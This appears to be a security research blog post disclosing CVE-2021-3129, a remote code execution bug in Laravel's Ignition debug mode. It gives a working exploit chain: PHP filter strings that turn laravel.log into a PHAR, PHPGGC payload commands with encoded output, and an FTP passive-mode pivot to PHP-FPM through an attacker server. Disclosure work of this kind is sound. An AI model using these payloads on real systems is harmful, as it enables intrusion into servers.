Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
In late November of 2020, during a security audit for one of our clients, we came accross a website based on Laravel. While the site's security state was pretty good, we remarked that it was running in debug mode, thus displaying verbose error messages including stack traces:
Upon further inspection, we discovered that these stack traces were generated by Ignition, which were the default Laravel error page generator starting at version 6. Having exhausted other vulnerability vectors, we started to have a more precise look at this package.
Ignition <= 2.5.1
In addition to displaying beautiful stack traces, Ignition comes with solutions, small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a template:
By clicking "Make variable Optional", the {{ $username }}
in our template is automatically replaced by {{ $username ? '' }}
. If we check our HTTP log, we can see the endpoint that was invoked:
Along with the solution classname, we send a file path and a variable name that we want to replace. This looks interesting.
Let's first check the class name vector: can we instanciate anything ?
class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
...
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
}
No: Ignition will make sure the class we point to implements RunnableSolution
.
Let's have a closer look at the class, then. The code responsible for this is located in ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
. Maybe we can change the contents of an arbitrary file ?
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // [1]
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3]
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
...
}
The code is a bit more complex than we expected: after reading the given file path [1], and replacing $variableName
by $variableName ?? ''
, both the initial file and the new one will be tokenized [2]. If the structure of the code did not change more than expected, the file will be replaced with its new contents. Otherwise, makeOptional
will return false
[3], and the new file won't be written. Hence, we cannot do much using variableName
.
The only input variable left is viewFile
. If we make abstraction of variableName
and all of its uses, we end up with the following code snippet:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
So we're writing the contents of viewFile
back into viewFile
, without any modification whatsoever. This does nothing !
Looks like we have a CTF on our hands.
Exploiting nothing
We came out with two solutions; if you want to try it yourself before reading the rest of the blog post, here's how you set up your lab:
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve
Log file to PHAR
PHP wrappers: changing a file
By now, everyone has probably heard of the upload progress technique demonstrated by Orange Tsai. It uses php://filter
to change the contents of a file before it is returned. We can use this to transform a file's contents using our exploit primitive:
$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f);
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
We have changed the contents of the file ! Sadly, this applies the transformation twice. Reading the documentation shows us a way to only apply it once:
# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
Badchars will even be ignored:
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
Writing the log file
By default, Laravel's log file, which contains every PHP error and stack trace, is stored in storage/logs/laravel.log
. Let's generate an error by trying to load a file that does not exist, SOME_TEXT_OF_OUR_CHOICE
:
[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}
Superb, we can inject (almost) arbitrary content in a file. In theory, we could use Orange's technique to convert the log file into a valid PHAR file, and then use the phar://
wrapper to run serialized code. Sadly, this won't work, for a lot of reasons.
The base64-decode
chain shows its limits
We said earlier that PHP will ignore any badchar when base64-decoding a string. This is true, except for one character: =
. If you use the base64-decode
filter a string that contains a =
in the middle, PHP will yield an error and return nothing.
This would be fine if we controlled the whole file. However, the text we inject into the log file is only a very small part of it. There is a decently sized prefix (the date), and a huge suffix (the stack trace) as well. Furthermore, our injected text is present twice !
Here's another horror:
php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"
Depending on the date, decoding the prefix twice yields a result which a different size. When we decode it a third time, in the second case, our payload will be prefixed by 2
, changing the alignement of the base64 message.
In the cases were we could make it work, we'd have to build a new payload for each target, because the stack trace contains absolute filenames, and a new payload every second, because the prefix contains the time. And we'd still get blocked if a =
managed to find its way into one of the many base64-decodes.
We therefore went back to the PHP doc to find other kinds of filters.
Enters encoding
Let's backtrack a little. The log file contains this:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
We have learned, regrettably, that spamming base64-decode would probably fail at some point. Let's use it to our advantage: if we spam it, a decoding error will happen, and the log file will get cleared !
Even better, we can use the (undocumented) "consumed" filter to achieve the same thing:
php://filter/read=consumed/resource=/path/to/file.txt
The next error we cause will stand alone in the log file:
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
Now, we're back to our original problem: keeping a payload and removing the rest. Luckily, php://filter
is not limited to base64 operations. You can use it to convert charsets, for instance. Here's UTF-16 to UTF-8:
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
This is really good: our payload is there, safe and sound, and the prefix and suffix became non-ASCII characters. However, in log entries, our payload is displayed twice, not once. We need to get rid of the second one.
Since UTF-16 works with two bytes, we can misalign the second instance of PAYLOAD
by adding one byte at its end:
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
The beautiful thing about this is that the alignment of the prefix does not matter anymore: if it is of even size, the first payload will be decoded properly. If not, the second will.
We can now combine our findings with the usual base64-decoding to encode whatever we want:
$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!
Talking about alignement, how would the conversion filter behave if the log file is not 2-byte aligned itself ?
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
Again, a problem. We can easily solve this one by two payloads: a harmless payload A, and the active payload, B. We'd have:
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
Since prefix, midfix and suffix are present twice, along with PAYLOAD_A and PAYLOAD_B, the log file would necessarily have an even size, avoiding the error.
Finally, we have a last problem to solve: we use NULL bytes to pad our payload bytes from one to two. Trying to load a file with a NULL byte in PHP results in the following error:
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1
Therefore, we won't be able to inject a payload with NULL bytes in the error log. Luckily, a final filter comes to the rescue: convert.quoted-printable-decode.
We can encode our NULL bytes using =00
.
Here is our final conversion chain:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Complete exploit steps
Create a PHPGGC payload and encode it:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00
Clear logs:
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
Create first log entry, for alignment:
viewFile: AA
Create log entry with payload:
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
Apply our filter to convert the log file into a valid PHAR:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Launch the PHAR deserialization:
viewFile: phar:///path/to/storage/logs/laravel.log
Result:
As an exploit:
Right after confirming the attack in a local environment, we went on to test it on our target, and it did not work. The log file had a different name. After hours spent trying to guess its name, we could not, and resorted to implementing another attack. We probably should have checked this a little bit ahead of time.
Talking to PHP-FPM using FTP
Since we could run file_get_contents
for anything, we were able to scan common ports by issuing HTTP requests. PHP-FPM appeared to be listening on port 9000.
It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine. This technique is often used in combination with the gopher://
protocol, which is supported by curl
, but not by PHP.
Another protocol known for allowing you to send binary packets over TCP is FTP, and more precisely its passive mode: if a client tries to read a file from (resp. write to) an FTP server, the server can tell the client to read (resp. write) the contents of the file onto a specific IP and port. There is no limitation as to what these IP and port can be. For instance, the server can tell the client to connect to one of its own ports if it wants to.
Now, if we try to exploit the vulnerability with viewFile=ftp://evil-server.lexfo.fr/file.txt
, here's what will happen:
file_get_contents()
connects to our FTP server, and downloads file.txt.file_put_contents()
connects to our FTP server, and uploads it back to file.txt.
You probably know where this is going: we'll use the FTP protocol's passive mode to make file_get_contents()
download a file on our server, and when it tries to upload it back using file_put_contents()
, we will tell it to send the file to 127.0.0.1:9000
.
This allows us to send an arbitrary packet to PHP-FPM, and therefore execute code.
This time, the exploitation succeeded on our target.
Conclusion
PHP is full of surprises: no other language would yield these vulns with the same two lines (although, to be fair, Perl would have done it in one).
We reported the bug, along with a patch, to the maintainers of Ignition
on GitHub on the 16th of November 2020, and a new version (2.5.2) was issued the next day. Since it is a require-dev
dependency of Laravel, we expect every instance installed after this date to be safe.
An exploit for the first technique is available here: laravel-exploits.
We're hiring!
Ambionics is an entity of Lexfo, and we're hiring! To learn more about job opportunities, do not hesitate to contact us at rh@lexfo.fr. We're a french-speaking company, so we expect candidates to be fluent in our beautiful language.
Update on 2021-01-13
- CVE-2021-3129 was assigned to the bug
- Improved the description for the FTP exploit part, adding a graph
- Added the improved log-clearing method using
consumed
- Added exploit